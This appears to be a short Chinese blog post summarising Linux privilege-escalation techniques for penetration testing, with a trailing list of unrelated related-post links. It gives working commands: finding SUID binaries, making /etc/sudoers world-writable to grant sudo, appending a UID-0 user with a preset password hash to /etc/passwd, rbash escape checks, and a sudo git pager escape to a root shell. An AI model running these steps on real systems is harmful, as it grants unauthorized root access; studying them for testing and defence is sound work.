Linux内网提权

一、SUID提权

前提条件:

(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效

1、设置SUID权限: root权限

chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

2、 收集具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null

SUID提权 - hello_bao - 博客园 (cnblogs.com)

二、sudoers提权

前提条件:/etc/sudoers 如果为当前权限可更改,则可进行写入普通用户sudo权限

bash 复制代码
chmod 777 /etc/sudoers
bash 复制代码
# User privilege specification

root    ALL=(ALL:ALL) ALL

#在这添加new_user的sudo 权限

new_user     ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command

%sudo   ALL=(ALL:ALL) ALL

修改完将sudoers权限修改回去

bash 复制代码
chmod 440 /etc/sudoers

普通用户可进行sudo 执行root权限命令

bash 复制代码
sudo systemctl start ssh

三、重要软件或文件配置不当提权

nps提权

当nfs配置了读写权限且允许客户端以root访问时,就会存在该漏洞

passwd提权

如果当前用户有修改/etc/passwd的权限则可以添加一个root权限用户:

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

账号:test 密码:password@123

四、 rbash 逃逸

前提条件:当前用户shell为普通用户且有可以利用的命令

确定在rbash权限下:echo $PATH

确定可以使用的命令:compgen -c

【渗透测试】--- rbash逃逸方法简述-CSDN博客

五、git提权

前提条件:当前用户可以使用sudo中git权限

查看sudo -l 如果 有 (root) NOPASSWD: /usr/bin/git 则可以提权

以下两种二选一:

bash 复制代码
sudo git help config #在末行命令模式输入

!/bin/bash 或 !'sh' #完成提权



sudo git -p help

!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
相关推荐
贝锐7 小时前
从国产化信创设备到商用安卓终端,向日葵如何帮助企业实现统一运维管理?
linux·运维·远程控制
Julien20048 小时前
调查和解决 SELinux 问题
linux·运维·服务器·网络·学习方法
天远Date Lab9 小时前
零信任架构实战:基于天远双人婚姻评估查询构建自动化房产按揭联合审查网关
运维·人工智能·架构·自动化
2601_9620746810 小时前
自己编译RustDesk,并将自建ID服务器和key信息写入客户端
运维·服务器
小张同学a.10 小时前
Docker 容器实战 1—— docker 基础与镜像构建
linux·运维·docker·容器
大模型丫丫11 小时前
Hermes Agent:轻量级智能体框架实战指南
大数据·运维·服务器
考虑考虑11 小时前
kubectl命令
运维·后端·自动化运维
NJCloud11 小时前
Docker 容器技术入门:部署、核心概念与基础命令
运维·docker·容器
2601_9620723311 小时前
docker自建rustdesk-server远程桌面
运维·docker·容器
Blockchina12 小时前
Codex 实战:从一句需求到可验收的 Linux 主机巡检脚本
运维·服务器·网络